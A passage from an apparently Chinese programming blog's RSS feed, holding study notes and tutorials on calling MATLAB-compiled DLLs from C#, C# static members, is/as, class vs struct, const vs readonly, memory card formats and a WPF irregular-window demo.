　　点击Add Class，就是向test.dll的程序集中添加类。我添加了一个类叫做Func1.这个类用来在C#中创建一个对象，然后调用test（n）这个函数，然后出现Add Files，点击打开浏览框，把刚才写好的test.m选上。就可以了
　　最后看窗口右上角，，点击那个build图标就ok，等个几分钟，就会在目录里生成test.dll文件了。图5
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23968_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4e21f5823ece422097e73e2321e43b3b09a2cb7a.jpg&#34; title=&#34;build&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;vs端的代码&#34;&gt;VS端的代码&lt;/h3&gt;
&lt;p&gt;　　现在，打开vs，创建C#工程，添加两个引用，分别是MWArray.dll和test.dll，添加引用的方法就是在解决方案资源管理器中，的引用上，点击，然后添加引用-&amp;gt;浏览-&amp;gt;找到这两个dll，为了方便，我一般会把这两个dll复制到我的C#工程目录里，然后添加引用，如前面所说，MWArray.dll里有两个命名空间，我们使用using语句都添加上。也包括生成的test.dll&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using test;
using MathWorks.MATLAB.NET.Arrays;
using MathWorks.MATLAB.NET.Utility;&lt;/pre&gt; 
&lt;p&gt;　　然后设计C#界面，很简单的拖一个界面，图6
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23969_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/07a97d0fe021665574597469b813e53dc6b48677.jpg&#34; title=&#34;ui&#34;&gt;&lt;/a&gt;
　　然后单击事件代码：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;            Func1 f = new Func1(); 
            MWNumericArray na = null;
            MWArray[] ansArray = null; 
            int i = Convert.ToInt16(textBox1.Text); 
            ansArray = f.test(1, i); 
            na = (MWNumericArray)ansArray[0];//只有一个数组返回
            MessageBox.Show(na.ToString());&lt;/pre&gt; 
&lt;p&gt;　　看到test有两个参数，第一个参数是指返回结果书，我们只需要一个就好了。所以为1，后面那个是阶数了。运行结果如图7：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23970_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/891d04e30b4742ae3ca5b851d5fc379cc3d10950.jpg&#34; title=&#34;result&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的静态与非静态</title>
      <link>http://blog.leaver.me/2012/07/02/c%23%E4%B8%AD%E7%9A%84%E9%9D%99%E6%80%81%E4%B8%8E%E9%9D%9E%E9%9D%99%E6%80%81/</link>
      <pubDate>Mon, 02 Jul 2012 05:30:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/02/c%23%E4%B8%AD%E7%9A%84%E9%9D%99%E6%80%81%E4%B8%8E%E9%9D%9E%E9%9D%99%E6%80%81/</guid>
      <description>&lt;h3 id=&#34;为什么要分静态和非静态&#34;&gt;为什么要分静态和非静态&lt;/h3&gt;
&lt;p&gt;在面向对象的世界里，大部分的情况都是实例特征主宰天下，类相当于一个类型模板，而对象则是类特征的拷贝，并且独立于其他对象来操作这些特征，但是在某些情况下，需要某些特征被所有的对象共公有，因此有必要实现一种基于类的特征，而不是基于实例对象的特征机制，这就是静态特征。&lt;/p&gt;
&lt;h3 id=&#34;1静态类和非静态类&#34;&gt;1.静态类和非静态类&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;一个类如果包含静态成员和静态方法，那么该类就可以定义为静态类，定义方法是在类定义前加上static，比如&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;static class MyClass
{
//define the class
}&lt;/pre&gt; 
&lt;h3 id=&#34;比较&#34;&gt;比较：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;静态类只能包含静态成员和静态方法，否则会抛出编译错误，而非静态类既可以包含非静态成员和非静态方法，还可以包含静态成员和静态方法。但不能作用于静态只读字段。&lt;/li&gt;
&lt;li&gt;静态类不可实例化，非静态类可以实例化，不管是静态类还是非静态类，对静态成员和静态方法的调用都必须通过类来实现访问。&lt;/li&gt;
&lt;li&gt;相对于非静态类来说，静态类有一些特点值得应用，比如System.Console这个典型的静态类。&lt;/li&gt;
&lt;li&gt;如果一个类只包含静态成员和静态方法，就应该将该类标记为static，并提供私有的构造函数来避免用户实例创建对象，这也是MonoState模式的体现。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3 id=&#34;2静态构造函数和实例构造函数&#34;&gt;2.静态构造函数和实例构造函数&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;静态构造函数，&lt;strong&gt;只能&lt;/strong&gt;用于初始化类中的静态成员，包括静态字段和静态属性，静态构造函数不能带参数，不能有访问修饰符也不能被手工调用，通过是在.net运行库第一次调用类成员之前执行。其中，实例构造函数中也是可以初始化静态成员的。&lt;/p&gt;
&lt;h3 id=&#34;比较-1&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;静态构造函数，可以和无参的构造函数共存。虽然参数列表相同，但是二者的执行顺序不同，静态构造函数在运行库加载类时执行，而实例构造函数在实例创建时执行。&lt;/li&gt;
&lt;li&gt;静态构造函数，只能对静态成员进行初始化操作，不能作用于非静态成员，而实例构造函数二者都可以，当然如前面所说，对静态只读字段就不可以了。&lt;/li&gt;
&lt;li&gt;静态构造函数只被执行一次，而且.net运行库也不知道什么时候会被执行，而实例构造函数可以在多次实例创建时被执行多次。&lt;/li&gt;
&lt;li&gt;一个类只能有一个静态构造函数，但是可以有多个实例构造函数。&lt;/li&gt;
&lt;li&gt;一般来说，简单的静态成员可以在声明时就进行初始化，而复杂的静态成员则选择在静态构造函数中进行初始化较佳。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;h3 id=&#34;3静态成员和实例成员&#34;&gt;3.静态成员和实例成员&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;静态成员主要包括静态字段和静态属性，静态成员可以实现在类中能够被所有实例对象共享的数据。例如一个缴费登记系统中，消费总额作为所以消费的综合，静态成员来实现就有很好。没有不必要的数据冗余。&lt;/p&gt;
&lt;h3 id=&#34;比较-2&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;静态成员包括静态字段和静态属性，静态字段一般实现为private，而静态属性一般为public，以体现类的封装原则。&lt;/li&gt;
&lt;li&gt;静态成员和类关联，不依赖对象存在，只能由类访问，而不能由对象访问，实例成员和具体的对象关联，只能由对象访问，不能由类访问。&lt;/li&gt;
&lt;li&gt;静态成员属于类所有，不论创建多少个实例对象，静态成员在内存中只有一份，实例成员属于对象实例所有，每个都有其对应的内存区域。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;4静态方法和实例方法&#34;&gt;4.静态方法和实例方法&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;类似于静态成员共享数据段，静态方法共享代码段，静态方法以static标识。&lt;/p&gt;
&lt;h3 id=&#34;比较-3&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;性能上，静态方法和实例方法差别不大，所有方法，不管是静态的还是非静态的，都是在JIT加载类时分配内存，不同的是静态方法以类名引用，而静态方法以对象引用，创建实例时，不会再为类的方法分配内存，所有的实例对象公用一个类的方法代码，因此，静态方法和实例方法的调用，区别仅在于实例方法需要当前对象指针指向该方法，而静态方法可以直接调用，性能上差异微乎其微。&lt;/li&gt;
&lt;li&gt;静态方法只能访问静态成员和静态方法，可以间接通过创建实例对象来访问实例成员和实例方法，而实例方法可以直接全部。。&lt;/li&gt;
&lt;li&gt;静态方法只能由类来访问，实例方法只能由对象来访问。&lt;/li&gt;
&lt;li&gt;静态方法中不能使用this关键字，否则编译错误，而实例方法中可以引用。&lt;/li&gt;
&lt;li&gt;静态方法不能被标记为virtual，abstract或是override，静态方法可以被派生类访问，但是不能被覆写。&lt;/li&gt;
&lt;li&gt;Main方法是静态的，因此Main方法不能直接访问Main所在类的实例方法和成员。&lt;/li&gt;
&lt;li&gt;鉴于线程处理的安全性，应该避免提供改变静态状态的静态方法，因为，如果多线程同时访问该段代码，可能造成线程处理错误，因此，静态状态必须是线程安全的。&lt;/li&gt;
&lt;li&gt;静态方法适合系统中边缘性的非业务需要，例如通用的工具类。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>C＃中的is和as</title>
      <link>http://blog.leaver.me/2012/07/01/c%E4%B8%AD%E7%9A%84is%E5%92%8Cas/</link>
      <pubDate>Sun, 01 Jul 2012 05:52:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/01/c%E4%B8%AD%E7%9A%84is%E5%92%8Cas/</guid>
      <description>&lt;p&gt;is和as都是用作类型转换的，类型转换包括显示转换和隐式转换，在.NET中类型转换的基本规则如下：&lt;/p&gt;
&lt;h3 id=&#34;基本规则&#34;&gt;基本规则&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;任何类型都可以安全的转换为其基类类型，可以由隐式转换来完成；&lt;/li&gt;
&lt;li&gt;任何类型转换为其派生类型时，必须进行显示转换，转换的规则是：（类型名）对象名；&lt;/li&gt;
&lt;li&gt;使用GetType可以取得任何对象的精确类型；&lt;/li&gt;
&lt;li&gt;基本类型可以使用Covert类实现类型转换；&lt;/li&gt;
&lt;li&gt;除了string以外的其他类型都有Parse方法，用于将字符串类型转换为对应的基本类型；&lt;/li&gt;
&lt;li&gt;值类型和引用类型的转换机制称为装箱（boxing）和拆箱（unboxing）。
is和as操作符，是C#中用于类型转换的，提供了对类型兼容性的判断，从而使得类型转换控制在安全的范畴，提供了灵活的类型转换控制。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;is的模式如下&#34;&gt;is的模式如下：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;检查对象类型的兼容性，并返回结果，true或者false；&lt;/li&gt;
&lt;li&gt;不会抛出异常；&lt;/li&gt;
&lt;li&gt;如果对象为null，则返回值永远为false。
使用很简单，用于条件判断中.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;举例：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;object o=new object();
if(o is ISSsample)
 {
    //转换
    ISSample a =(ISSample)o;
 }&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h3 id=&#34;as的模式如下&#34;&gt;as的模式如下：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;检查对象类型的兼容性，并返回转换结果，如果不兼容就返回null；&lt;/li&gt;
&lt;li&gt;不会抛出异常；&lt;/li&gt;
&lt;li&gt;如果结果判断为空，则强制执行类型转换将抛出NullReferenceException异常。&lt;/li&gt;
&lt;li&gt;as必须和引用类型一起使用&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;举例：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;object o =new object();
ASSample a=o as ASSample;
if(a!=null)
 //do some work&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;参考：&lt;a href=&#34;http://www.cnblogs.com/anytao/archive/2007/04/07/must_net_01.html&#34;&gt;http://www.cnblogs.com/anytao/archive/2007/04/07/must_net_01.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>各种内存卡介绍</title>
      <link>http://blog.leaver.me/2012/06/30/%E5%90%84%E7%A7%8D%E5%86%85%E5%AD%98%E5%8D%A1%E4%BB%8B%E7%BB%8D/</link>
      <pubDate>Sat, 30 Jun 2012 10:50:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/30/%E5%90%84%E7%A7%8D%E5%86%85%E5%AD%98%E5%8D%A1%E4%BB%8B%E7%BB%8D/</guid>
      <description>&lt;p&gt;闪存卡（Flash Card）是利用闪存（Flash Memory）技术达到存储电子信息的存储器，一般应用在数码相机，掌上电脑，MP3等小型数码产品中作为存储介质，所以样子小巧，有如一张卡片，所以称之为闪存卡。
根据不同的生产厂商和不同的应用，闪存卡大概有Compact Flash（CF卡）、MultiMediaCard（MMC卡）、Secure Digital（SD卡）、Memory Stick（记忆棒）等。&lt;/p&gt;
&lt;h3 id=&#34;sd卡&#34;&gt;SD卡&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;SD卡全称为Secure Digital卡，SD卡标准的面世相对而言比CF要晚，根据MMC为基础所开发的Secure Digital（SD），其改进主要是在增添了版权保护的功能，提高了传输速度和增加了写保护机制等，其主要引脚的定义与MMC卡并没有太大的区别。SD具有较高的兼容性，较小的体积和不错的数据传输速度，成为了当今的时尚数码相机和部分可拍照手机的标准配置。SD接口是当今世界上被采用得最多的闪存卡接口，市面上主流的PDA，数码相机，MP3的闪存卡，烧录卡接口大多为SD卡，也使SD卡取代了CF卡成为了当今最常见得存储卡。如图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23896_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2153197222ee2fc8af342682b19e6a2a79c2b08b.jpg&#34; title=&#34;sd&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;minisd&#34;&gt;MiniSD&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;MiniSD是SD卡的一大改进，体积只有21.5x20x1.4mm，比普通SD卡足足节省了60%的空间，通过转接卡还能保证MiniSD在正常的SD插槽上的使用。如图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23897_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/97f2744e4c4365467f49bb608eee282112a6b4bd.jpg&#34; title=&#34;minisd&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;micro-sdtf卡&#34;&gt;Micro SD(TF卡)&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;TF卡又称T-Flash卡，也叫Micro SD卡,体积只有11×15×1mm，面积为MiniSD的一半
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23899_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2528565eb580dae155b5a2ed0de54fd37ed3729c.jpg&#34; title=&#34;tf&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;mmc卡&#34;&gt;MMC卡&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;MMC卡全称为Multi Media Card，由SanDisk与Siemens AG/InfineonTechnologies AG所联合开发，且于1997年11月发表，Size：24mm x 32mm x 1.4mm，重量2g。MMC卡的兼容性方面不及SD卡的好，数据传输速度受到硬件的限制，不适合作高速的数据传输。如图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23895_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ff18b0edf52209988da0c6cb442471e7eb13f081.jpg&#34; title=&#34;mmc&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;rsmmc&#34;&gt;RSMMC&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;RSMMC是Reduced-Size MMC的缩写，小型化的MMC卡，传说专门为智能手机设置。改良后的产品叫做MMCmobile
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23898_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7ab03d9515b994a1d11aee05279f6e3d9dae53a1.jpg&#34; title=&#34;rsmmc&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;什么是cf卡&#34;&gt;什么是CF卡？&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;CF格式由来已久，被SanDisk公司在1994年首次制造出来。CF卡的全称是Compact Flash，Compact意指“小型的，轻便的”，CF大小为43mm x 36mm x 3.3mm，50 Pins。如图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23894_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/eddacf9fa2afe927665cf30d192070687d5c951f.jpg&#34; title=&#34;CF&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;ms卡&#34;&gt;MS卡&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Memory Stick，索尼推出的存储产品。貌似是独树一帜，不多介绍。
参考：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&#34;http://www.allmemorycards.com/sd.htm&#34;&gt;http://www.allmemorycards.com/sd.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://baike.baidu.com/view/26952.htm&#34;&gt;http://baike.baidu.com/view/26952.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://nds.cngba.com/nds_bd/2007122122100.shtml&#34;&gt;http://nds.cngba.com/nds_bd/2007122122100.shtml&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的Class和Struct</title>
      <link>http://blog.leaver.me/2012/06/29/c%23%E4%B8%AD%E7%9A%84class%E5%92%8Cstruct/</link>
      <pubDate>Fri, 29 Jun 2012 10:03:35 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/29/c%23%E4%B8%AD%E7%9A%84class%E5%92%8Cstruct/</guid>
      <description>&lt;p&gt;　　&lt;/p&gt;
&lt;h3 id=&#34;什么是class&#34;&gt;什么是class?&lt;/h3&gt;
&lt;p&gt;　　class（类）是面向对象编程的基本概念，是一种自定义数据结构类型，通常包含字段、属性、方法、属性、构造函数、索引器、操作符等。.NET中，所有的类都最终继承自System.Object类，因此是一种引用类型，也就是说，new一个类的实例时，对象保存了该实例实际数据的引用地址，而对象的值保存在托管堆（managed heap）中。&lt;/p&gt;
&lt;h3 id=&#34;什么是struct&#34;&gt;什么是struct?&lt;/h3&gt;
&lt;p&gt;　　struct（结构）是一种值类型，用于将一组相关的信息变量组织为一个单一的变量实体 。所有的结构都继承自System.ValueType类，因此是一种值类型，也就是说，struct实例分配在线程的堆栈（stack）上，它本身存储了值，而不包含指向该值的指针。所以在使用struct时，我们可以将其当作int、char这样的基本类型类对待。&lt;/p&gt;
&lt;h3 id=&#34;比较&#34;&gt;比较：&lt;/h3&gt;
&lt;p&gt;　　相同点：语法类似。&lt;/p&gt;
&lt;p&gt;　　不同点：&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;class是引用类型，继承自System.Object类；struct是值类型，继承自System.ValueType类，因此不具多态性。但是注意，System.ValueType是个引用类型。&lt;/li&gt;
&lt;li&gt;从职能观点来看，class更多表现为行为；而struct常用于存储数据。&lt;/li&gt;
&lt;li&gt;class支持继承，可以继承自类和接口；而struct没有继承性，struct不能从class继承，也不能作为class的基类，但struct支持接口继承&lt;/li&gt;
&lt;li&gt;class可以声明无参构造函数，可以声明析构函数；&lt;em&gt;而struct只能声明带参数构造函数&lt;/em&gt;，且不能声明析构函数。因此，struct没有自定义的默认无参构造函数，默认无参构造器只是简单地把所有值初始化为它们的0等价值&lt;/li&gt;
&lt;li&gt;实例化时，&lt;em&gt;class要使用new关键字；而struct可以不使用new关键字&lt;/em&gt;，如果不以new来实例化struct，则其所有的字段将处于未分配状态，直到所有字段完成初始化，否则引用未赋值的字段会导致编译错误。&lt;/li&gt;
&lt;li&gt;class可以是抽象类（abstract），可以声明抽象函数；而struct不能为抽象，也不能声明抽象函数。&lt;/li&gt;
&lt;li&gt;class可以声明protected成员、virtual成员、sealed成员和override成员；而struct不可以，struct可以重载System.Object的3个虚方法，Equals()、ToString()和GetHashTable()。&lt;/li&gt;
&lt;li&gt;class的对象复制分为浅拷贝和深拷贝，必须经过特别的方法来完成复制；而struct创建的对象复制简单，可以直接以等号连接即可。&lt;/li&gt;
&lt;li&gt;class实例由垃圾回收机制来保证内存的回收处理；而struct变量使用完后立即自动解除内存分配。&lt;/li&gt;
&lt;li&gt;作为参数传递时，class变量是以按址方式传递；而struct变量是以按值方式传递的。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;　　我们可以简单的理解，class是一个可以动的机器，有行为，有多态，有继承；而struct就是个零件箱，组合了不同结构的零件。其实，&lt;strong&gt;&lt;em&gt;class和struct最本质的区别就在于class是引用类型&lt;/em&gt;&lt;/strong&gt;，内存分配于托管堆；而struct是值类型，内存分配于线程的堆栈上。由此差异，导致了上述所有的不同点，虽然在某些方面struct有性能方面的优势，但是在面向对象编程里，基本是class横行的天下。&lt;/p&gt;
&lt;p&gt;　　那么，既然class几乎可以完全替代struct来实现所有的功能，那么struct还有存在的必要吗？答案是，至少在以下情况下，鉴于性能上的考虑，我们应该考虑使用struct来代替class：　　&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;实现一个主要用于存储数据的结构时，可以考虑struct。&lt;/li&gt;
&lt;li&gt;struct变量占有堆栈的空间，因此只适用于数据量相对小的场合。&lt;/li&gt;
&lt;li&gt;结构数组具有更高的效率。&lt;/li&gt;
&lt;li&gt;提供某些和非托管代码通信的兼容性。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>C#中的const和readonly</title>
      <link>http://blog.leaver.me/2012/06/28/c%23%E4%B8%AD%E7%9A%84const%E5%92%8Creadonly/</link>
      <pubDate>Thu, 28 Jun 2012 17:29:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/28/c%23%E4%B8%AD%E7%9A%84const%E5%92%8Creadonly/</guid>
      <description>&lt;p&gt;　　本文来自《你必须知道的.NET》这本书，是我看书过程中的笔记整理。&lt;/p&gt;
&lt;p&gt;　　不变的量是程序设计中的平衡剂，是系统中恒定不变的量，在.NET中提供哦你了两种方式来实现，const和readonly。其中，const是静态常量，readonly是动态常量。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;const，readonly和static readonly定义的常量，一旦初始值指定，（包括在构造函数内指定初始值），将不可更改，可读不可写。&lt;/li&gt;
&lt;li&gt;const必须在声明的时候指定初始值，而readonly和static readonly在在声明时可以指定，也可以不指定初始值，同时也可以在构造函数中指定初始值，如果同时在声明时和构造函数中指定了初始值，以构造函数内指定的值为准。&lt;/li&gt;
&lt;li&gt;const和static readonly定义的常量是静态的，只能由类型来访问，不能和static同时使用，否则可能出现编译错误，而readonly定义的常量是非静态的，只能由实例对象来访问。可以显式使用static定义静态成员&lt;/li&gt;
&lt;li&gt;static readonly常量，如果在构造函数内指定初始值，那么必须是在静态无参构造函数中。不同的构造函数可以为readonly常量实现不同的初始值。&lt;/li&gt;
&lt;li&gt;const可以用于定义局部常量和字段常量，而readonly和static readonly不能定义局部变量，只能定义字段常量，实际上，readonly应该被称之为只读字段，因此局限于定义字段，而const才是常量，可以定义字段和局部量。&lt;/li&gt;
&lt;li&gt;const常量编译后保存在模块的元数据中，无需在托管堆中分配内存，并且const常量只能是百年机器能够识别的基元类型，比如Int32，string等，而readonly需要分配独立的存储空间，并且可以是任意类型。&lt;/li&gt;
&lt;li&gt;const只能应用在值类型和string类型上，其他引用类型常量只能定义为null，否则以new为const引用类型常量赋值，编译器会引发“只能用null对引用类型（字符串除外）的常量进行初始化”错误提示，原因是构造函数初始化是在运行时，而非编译时，readonly只读字段，可以是任意类型，但是对于引用类型字段来说，readonly不能限制对该对象实例成员的访问控制。
　　总结：尽可能以只读属性来实现对类型读写特性的控制，而不是只读字段，但是在某些情况下，只读字段更简化些。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　const是编译时常量，readonly是运行时常量，const较高效，readonly更灵活，在应用上，推荐以static readonly代替const，以平衡const在灵活性上的不足，同时克服编译器优化const性能时，所带来的程序集引用不一致问题。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF实现不规则窗体</title>
      <link>http://blog.leaver.me/2012/06/23/wpf%E5%AE%9E%E7%8E%B0%E4%B8%8D%E8%A7%84%E5%88%99%E7%AA%97%E4%BD%93/</link>
      <pubDate>Sat, 23 Jun 2012 06:22:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/23/wpf%E5%AE%9E%E7%8E%B0%E4%B8%8D%E8%A7%84%E5%88%99%E7%AA%97%E4%BD%93/</guid>
      <description>&lt;p&gt;这几天在想C# winform程序界面实在太单一，而我&lt;a href=&#34;http://leaver.me/archives/990.html&#34;&gt;C#实现不规则窗体&lt;/a&gt;中也说了，如果用背景这种东西来做的话，效果很差，抗锯齿能力基本为0，所以我当时在博客园提问，然后园友有了很给力的回答，比如WPF来做，或者第三方插件，或者深入底层改写ONPaint函数的，今天没事，恰好看到了一篇文章讲这个的，于是，就做一个简单的Demo出来，华丽的效果有木有，先看效果图&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23622_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ba031241897a97ce5f76970d0787694511d3960a.jpg&#34; title=&#34;效果&#34;&gt;&lt;/a&gt;
在win 7下使用win+Tab切换效果也很华丽。就不演示了。&lt;/p&gt;
&lt;p&gt;做起来还算比较简单，首先使用Microsoft Expression Design 4 设计一个界面，破解版什么的太多了，，软件界面和ps挺像，不过功能弱很多，自己操作操作就好了，我说一个问题，就是我当时想画一个空心的圆，也就是一个圆环，ps里大家都知道，直接选区相减就可以了，但是这个死活没找到，基本上最后这个界面所有的地方被找了一遍，猜了猜，才发现了，&lt;/p&gt;
&lt;p&gt;具体操作如下，首先汇出一个圆形，然后在圆里面再绘出一个圆形，这时候选中第二次的这个小圆，点击屏幕右侧的那个箭头会出现高级选项，&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23623_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/7bb961d46945780dd51bf752d4109eb6dfec9583.jpg&#34; title=&#34;高级&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后选择混合模式为橡皮擦，就会擦去这个小圆，于是就只剩下一个圆环了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23624_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/47a442eae19c0450c9de4ef532d026c4608439f1.jpg&#34; title=&#34;橡皮擦&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;画好以后，选择文件-&amp;gt;导出，按如下设置，
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/23625_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5a4dc13cbe7e3ade5841d175eace74870fd42395.jpg&#34; title=&#34;导出&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;会得到一个xaml文件，一会用&lt;/p&gt;
&lt;p&gt;然后新建wpf项目，然后在解决方案资源管理器视图右键点击项目 导入现有项，把上一步的xaml文件导入&lt;/p&gt;
&lt;p&gt;然后需要在app.xaml文件中进行设置，具体在&amp;lt;Application.Resources&amp;gt;标签内添加如下代码，中间那个文件名看情况而定。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;        &amp;lt;ResourceDictionary&amp;gt;
            &amp;lt;ResourceDictionary.MergedDictionaries&amp;gt;
                &amp;lt;ResourceDictionary Source=&#34;bystander.xaml&#34;/&amp;gt;
            &amp;lt;/ResourceDictionary.MergedDictionaries&amp;gt;
        &amp;lt;/ResourceDictionary&amp;gt;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后打开“MainWindow.xaml”文件的设计视图，点击窗体边缘以选中窗体，在属性面板中更改AllowsTransparency及WindowStyle属性。
AllowsTransparency 指示窗体是否支持透明。选中
WindowStyle指示窗体边框样式，设为 None 为无边框。&lt;/p&gt;
&lt;p&gt;然后呢在 MainWindow.xaml文件中添加如下代码，&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Background=&#34;{StaticResource back}&#34;
MouseDown=&#34;Window_MouseDown&#34;&amp;gt;&lt;/pre&gt;
&lt;p&gt;最终代码是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;Window x:Class=&#34;WpfDemo.MainWindow&#34;
        xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
        xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
